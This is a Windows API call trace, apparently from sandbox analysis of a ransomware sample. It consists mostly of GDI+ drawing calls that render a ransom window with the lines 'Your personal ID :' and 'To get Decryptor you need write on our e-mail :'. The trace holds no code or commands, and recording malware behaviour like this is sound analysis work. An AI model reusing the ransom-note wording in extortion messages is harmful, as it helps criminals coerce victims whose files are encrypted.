[0285.789] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.789] GetCurrentObject (hdc=0x10010b4c, type=0x1) returned 0x1b00017
[0285.789] GetCurrentObject (hdc=0x10010b4c, type=0x2) returned 0x1900010
[0285.789] GetCurrentObject (hdc=0x10010b4c, type=0x7) returned 0x6050b85
[0285.790] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.790] SaveDC (hdc=0x10010b4c) returned 1
[0285.790] OffsetViewportOrgEx (in: hdc=0x10010b4c, x=0, y=0, lppt=0x2741bc8 | out: lppt=0x2741bc8) returned 1
[0285.790] IsAppThemed () returned 0x1
[0285.790] GetThemeAppProperties () returned 0x3
[0285.790] GetThemeAppProperties () returned 0x3
[0285.790] DrawThemeBackground () returned 0x0
[0285.790] RestoreDC (hdc=0x10010b4c, nSavedDC=-1) returned 1
[0285.790] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x10010b4c) returned 0x0
[0285.790] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.791] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.791] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.791] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.791] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0285.791] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.791] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.791] LocalFree (hMem=0x1de51510) returned 0x0
[0285.791] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.792] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.792] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.792] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.792] GetCurrentObject (hdc=0x10010b4c, type=0x1) returned 0x1b00017
[0285.792] GetCurrentObject (hdc=0x10010b4c, type=0x2) returned 0x1900010
[0285.792] GetCurrentObject (hdc=0x10010b4c, type=0x7) returned 0x6050b85
[0285.792] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.792] SaveDC (hdc=0x10010b4c) returned 1
[0285.793] OffsetViewportOrgEx (in: hdc=0x10010b4c, x=0, y=0, lppt=0x2742020 | out: lppt=0x2742020) returned 1
[0285.793] IsAppThemed () returned 0x1
[0285.793] GetThemeAppProperties () returned 0x3
[0285.793] GetThemeAppProperties () returned 0x3
[0285.793] DrawThemeBackground () returned 0x0
[0285.793] RestoreDC (hdc=0x10010b4c, nSavedDC=-1) returned 1
[0285.793] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x10010b4c) returned 0x0
[0285.793] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.794] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.794] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.794] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.794] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.794] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.794] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.794] LocalFree (hMem=0x1de51510) returned 0x0
[0285.794] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.795] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.795] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.795] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.795] GetCurrentObject (hdc=0x10010b4c, type=0x1) returned 0x1b00017
[0285.795] GetCurrentObject (hdc=0x10010b4c, type=0x2) returned 0x1900010
[0285.795] GetCurrentObject (hdc=0x10010b4c, type=0x7) returned 0x6050b85
[0285.795] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.795] SaveDC (hdc=0x10010b4c) returned 1
[0285.796] OffsetViewportOrgEx (in: hdc=0x10010b4c, x=0, y=0, lppt=0x2742478 | out: lppt=0x2742478) returned 1
[0285.796] IsAppThemed () returned 0x1
[0285.796] GetThemeAppProperties () returned 0x3
[0285.796] GetThemeAppProperties () returned 0x3
[0285.796] DrawThemeBackground () returned 0x0
[0285.796] RestoreDC (hdc=0x10010b4c, nSavedDC=-1) returned 1
[0285.796] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x10010b4c) returned 0x0
[0285.796] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0285.796] SelectPalette (hdc=0x10010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0285.797] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0285.797] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.797] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.798] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0285.798] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0285.798] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0x0
[0285.798] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0285.799] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0285.799] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0285.799] GetSystemMetrics (nIndex=42) returned 0
[0285.799] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ed900, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0285.799] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ed900) returned 0x12
[0285.799] GetClientRect (in: hWnd=0x2029e, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0285.799] GetCurrentObject (hdc=0x11010b4c, type=0x1) returned 0x1b00017
[0285.799] GetCurrentObject (hdc=0x11010b4c, type=0x2) returned 0x1900010
[0285.799] GetCurrentObject (hdc=0x11010b4c, type=0x7) returned 0x6050b85
[0285.799] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.800] SaveDC (hdc=0x11010b4c) returned 1
[0285.800] GetNearestColor (hdc=0x11010b4c, color=0x80) returned 0x80
[0285.801] CreateSolidBrush (color=0x80) returned 0x14100a95
[0285.801] FillRect (hDC=0x11010b4c, lprc=0x2ed7b8, hbr=0x14100a95) returned 1
[0285.801] DeleteObject (ho=0x14100a95) returned 1
[0285.801] RestoreDC (hdc=0x11010b4c, nSavedDC=-1) returned 1
[0285.802] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0285.802] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0285.802] GetSystemMetrics (nIndex=42) returned 0
[0285.802] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ed900, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0285.802] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ed900) returned 0x12
[0285.802] IsAppThemed () returned 0x1
[0285.802] GetThemeAppProperties () returned 0x3
[0285.802] GetThemeAppProperties () returned 0x3
[0285.802] SelectPalette (hdc=0x11010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0285.802] GdipCreateFromHDC (hdc=0x11010b4c, graphics=0x2ed9a8) returned 0x0
[0285.803] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0285.803] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0285.803] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.803] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0285.803] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.803] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0285.804] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.804] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0285.804] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.804] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0285.804] IsAppThemed () returned 0x1
[0285.804] GetThemeAppProperties () returned 0x3
[0285.804] GetThemeAppProperties () returned 0x3
[0285.804] IsAppThemed () returned 0x1
[0285.804] GetThemeAppProperties () returned 0x3
[0285.805] GetThemeAppProperties () returned 0x3
[0285.805] IsThemePartDefined () returned 0x1
[0285.805] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0285.805] GdipCreateRegion (region=0x2ed610) returned 0x0
[0285.805] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.805] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0285.805] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.805] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0285.805] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.805] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.806] LocalFree (hMem=0x1de51510) returned 0x0
[0285.806] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.806] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0285.806] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.806] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0285.806] GetCurrentObject (hdc=0x11010b4c, type=0x1) returned 0x1b00017
[0285.806] GetCurrentObject (hdc=0x11010b4c, type=0x2) returned 0x1900010
[0285.807] GetCurrentObject (hdc=0x11010b4c, type=0x7) returned 0x6050b85
[0285.807] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.807] SaveDC (hdc=0x11010b4c) returned 1
[0285.807] OffsetViewportOrgEx (in: hdc=0x11010b4c, x=0, y=0, lppt=0x27431d8 | out: lppt=0x27431d8) returned 1
[0285.807] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.807] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0285.808] SelectObject (hdc=0x11010b4c, h=0x50a0b98) returned 0x18a002e
[0285.808] DrawTextExW (in: hdc=0x11010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2ed798, format=0x102410, lpdtp=0x27431f0 | out: lpchText="Your personal ID :", lprc=0x2ed798) returned 14
[0285.808] RestoreDC (hdc=0x11010b4c, nSavedDC=-1) returned 1
[0285.808] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x11010b4c) returned 0x0
[0285.808] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0285.808] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0285.809] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.809] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0285.809] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.809] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0285.809] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.809] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.809] LocalFree (hMem=0x1de51510) returned 0x0
[0285.810] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.810] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0285.810] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.810] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0285.810] GetCurrentObject (hdc=0x11010b4c, type=0x1) returned 0x1b00017
[0285.810] GetCurrentObject (hdc=0x11010b4c, type=0x2) returned 0x1900010
[0285.810] GetCurrentObject (hdc=0x11010b4c, type=0x7) returned 0x6050b85
[0285.810] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.811] SaveDC (hdc=0x11010b4c) returned 1
[0285.811] OffsetViewportOrgEx (in: hdc=0x11010b4c, x=0, y=0, lppt=0x27435f0 | out: lppt=0x27435f0) returned 1
[0285.811] GetTextAlign (hdc=0x11010b4c) returned 0x0
[0285.811] GetTextColor (hdc=0x11010b4c) returned 0x0
[0285.811] SetTextColor (hdc=0x11010b4c, color=0xffff) returned 0x0
[0285.811] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.811] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0285.812] SelectObject (hdc=0x11010b4c, h=0x50a0b98) returned 0x18a002e
[0285.812] GetBkMode (hdc=0x11010b4c) returned 2
[0285.812] SetBkMode (hdc=0x11010b4c, mode=1) returned 2
[0285.812] DrawTextExW (in: hdc=0x11010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2ed6d8, format=0x102010, lpdtp=0x27437f0 | out: lpchText="Your personal ID :", lprc=0x2ed6d8) returned 14
[0285.812] RestoreDC (hdc=0x11010b4c, nSavedDC=-1) returned 1
[0285.813] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x11010b4c) returned 0x0
[0285.813] GetDC (hWnd=0x0) returned 0x1010a48
[0285.813] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.813] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.813] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.813] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.814] GetDC (hWnd=0x0) returned 0x1010a48
[0285.814] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.814] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.814] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.814] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.814] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.814] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.815] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.815] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.815] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.815] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.815] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.815] LocalFree (hMem=0x1de51510) returned 0x0
[0285.815] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.816] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.816] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.816] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.816] GetCurrentObject (hdc=0x11010b4c, type=0x1) returned 0x1b00017
[0285.816] GetCurrentObject (hdc=0x11010b4c, type=0x2) returned 0x1900010
[0285.816] GetCurrentObject (hdc=0x11010b4c, type=0x7) returned 0x6050b85
[0285.816] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.817] SaveDC (hdc=0x11010b4c) returned 1
[0285.817] OffsetViewportOrgEx (in: hdc=0x11010b4c, x=0, y=0, lppt=0x2743bd8 | out: lppt=0x2743bd8) returned 1
[0285.817] IsAppThemed () returned 0x1
[0285.817] GetThemeAppProperties () returned 0x3
[0285.817] GetThemeAppProperties () returned 0x3
[0285.817] DrawThemeBackground () returned 0x0
[0285.817] RestoreDC (hdc=0x11010b4c, nSavedDC=-1) returned 1
[0285.817] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x11010b4c) returned 0x0
[0285.817] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.818] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.818] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.818] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.818] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0285.818] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.818] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.818] LocalFree (hMem=0x1de51510) returned 0x0
[0285.818] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.819] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.819] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.819] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.819] GetCurrentObject (hdc=0x11010b4c, type=0x1) returned 0x1b00017
[0285.819] GetCurrentObject (hdc=0x11010b4c, type=0x2) returned 0x1900010
[0285.819] GetCurrentObject (hdc=0x11010b4c, type=0x7) returned 0x6050b85
[0285.820] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.820] SaveDC (hdc=0x11010b4c) returned 1
[0285.820] OffsetViewportOrgEx (in: hdc=0x11010b4c, x=0, y=0, lppt=0x2744030 | out: lppt=0x2744030) returned 1
[0285.820] IsAppThemed () returned 0x1
[0285.820] GetThemeAppProperties () returned 0x3
[0285.820] GetThemeAppProperties () returned 0x3
[0285.820] DrawThemeBackground () returned 0x0
[0285.820] RestoreDC (hdc=0x11010b4c, nSavedDC=-1) returned 1
[0285.821] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x11010b4c) returned 0x0
[0285.821] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.821] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.821] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.821] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.821] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.822] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.822] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.822] LocalFree (hMem=0x1de51510) returned 0x0
[0285.822] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.822] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.822] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.822] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.823] GetCurrentObject (hdc=0x11010b4c, type=0x1) returned 0x1b00017
[0285.823] GetCurrentObject (hdc=0x11010b4c, type=0x2) returned 0x1900010
[0285.823] GetCurrentObject (hdc=0x11010b4c, type=0x7) returned 0x6050b85
[0285.823] GetCurrentObject (hdc=0x11010b4c, type=0x6) returned 0x18a002e
[0285.823] SaveDC (hdc=0x11010b4c) returned 1
[0285.823] OffsetViewportOrgEx (in: hdc=0x11010b4c, x=0, y=0, lppt=0x2744488 | out: lppt=0x2744488) returned 1
[0285.824] IsAppThemed () returned 0x1
[0285.824] GetThemeAppProperties () returned 0x3
[0285.824] GetThemeAppProperties () returned 0x3
[0285.824] DrawThemeBackground () returned 0x0
[0285.824] RestoreDC (hdc=0x11010b4c, nSavedDC=-1) returned 1
[0285.824] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x11010b4c) returned 0x0
[0285.824] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0285.824] SelectPalette (hdc=0x11010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0285.825] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0285.825] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.825] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.826] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0285.826] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0285.826] SetTextColor (hdc=0x2010b40, color=0xffffff) returned 0x0
[0285.826] SetBkColor (hdc=0x2010b40, color=0x80) returned 0xffffff
[0285.826] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0285.827] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0285.827] GetSystemMetrics (nIndex=42) returned 0
[0285.827] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ed8c0, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0285.827] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ed8c0) returned 0x2f
[0285.827] GetClientRect (in: hWnd=0x102a8, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0285.827] GetCurrentObject (hdc=0x12010b4c, type=0x1) returned 0x1b00017
[0285.827] GetCurrentObject (hdc=0x12010b4c, type=0x2) returned 0x1900010
[0285.827] GetCurrentObject (hdc=0x12010b4c, type=0x7) returned 0x6050b85
[0285.827] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
[0285.827] SaveDC (hdc=0x12010b4c) returned 1
[0285.828] GetNearestColor (hdc=0x12010b4c, color=0x80) returned 0x80
[0285.828] CreateSolidBrush (color=0x80) returned 0x15100a95
[0285.828] FillRect (hDC=0x12010b4c, lprc=0x2ed7b8, hbr=0x15100a95) returned 1
[0285.828] DeleteObject (ho=0x15100a95) returned 1
[0285.828] RestoreDC (hdc=0x12010b4c, nSavedDC=-1) returned 1
[0285.828] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0285.828] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0285.828] GetSystemMetrics (nIndex=42) returned 0
[0285.828] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ed8c0, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0285.829] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ed8c0) returned 0x2f
[0285.829] IsAppThemed () returned 0x1
[0285.829] GetThemeAppProperties () returned 0x3
[0285.829] GetThemeAppProperties () returned 0x3
[0285.829] SelectPalette (hdc=0x12010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0285.829] GdipCreateFromHDC (hdc=0x12010b4c, graphics=0x2ed9a8) returned 0x0
[0285.829] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0285.829] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0285.829] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.830] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0285.830] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.830] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0285.830] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.830] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0285.830] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.830] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0285.830] IsAppThemed () returned 0x1
[0285.830] GetThemeAppProperties () returned 0x3
[0285.831] GetThemeAppProperties () returned 0x3
[0285.831] IsAppThemed () returned 0x1
[0285.831] GetThemeAppProperties () returned 0x3
[0285.831] GetThemeAppProperties () returned 0x3
[0285.831] IsThemePartDefined () returned 0x1
[0285.831] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0285.831] GdipCreateRegion (region=0x2ed610) returned 0x0
[0285.831] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.831] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0285.831] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.831] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0285.831] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.832] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.832] LocalFree (hMem=0x1de51510) returned 0x0
[0285.832] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.832] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0285.832] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.832] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0285.832] GetCurrentObject (hdc=0x12010b4c, type=0x1) returned 0x1b00017
[0285.832] GetCurrentObject (hdc=0x12010b4c, type=0x2) returned 0x1900010
[0285.833] GetCurrentObject (hdc=0x12010b4c, type=0x7) returned 0x6050b85
[0285.833] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
[0285.833] SaveDC (hdc=0x12010b4c) returned 1
[0285.833] OffsetViewportOrgEx (in: hdc=0x12010b4c, x=0, y=0, lppt=0x2745338 | out: lppt=0x2745338) returned 1
[0285.833] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
[0285.833] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0285.834] SelectObject (hdc=0x12010b4c, h=0x50a0b98) returned 0x18a002e
[0285.834] DrawTextExW (in: hdc=0x12010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ed798, format=0x102410, lpdtp=0x2745350 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ed798) returned 14
[0285.834] RestoreDC (hdc=0x12010b4c, nSavedDC=-1) returned 1
[0285.834] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x12010b4c) returned 0x0
[0285.834] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0285.835] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0285.835] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.835] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0285.835] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.835] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0285.835] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.835] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.836] LocalFree (hMem=0x1de51510) returned 0x0
[0285.836] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.836] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0285.836] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.836] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0285.836] GetCurrentObject (hdc=0x12010b4c, type=0x1) returned 0x1b00017
[0285.836] GetCurrentObject (hdc=0x12010b4c, type=0x2) returned 0x1900010
[0285.837] GetCurrentObject (hdc=0x12010b4c, type=0x7) returned 0x6050b85
[0285.837] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
